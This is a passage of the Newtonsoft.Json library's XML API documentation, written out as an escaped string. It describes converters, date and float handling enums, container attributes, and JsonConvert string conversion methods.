cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see 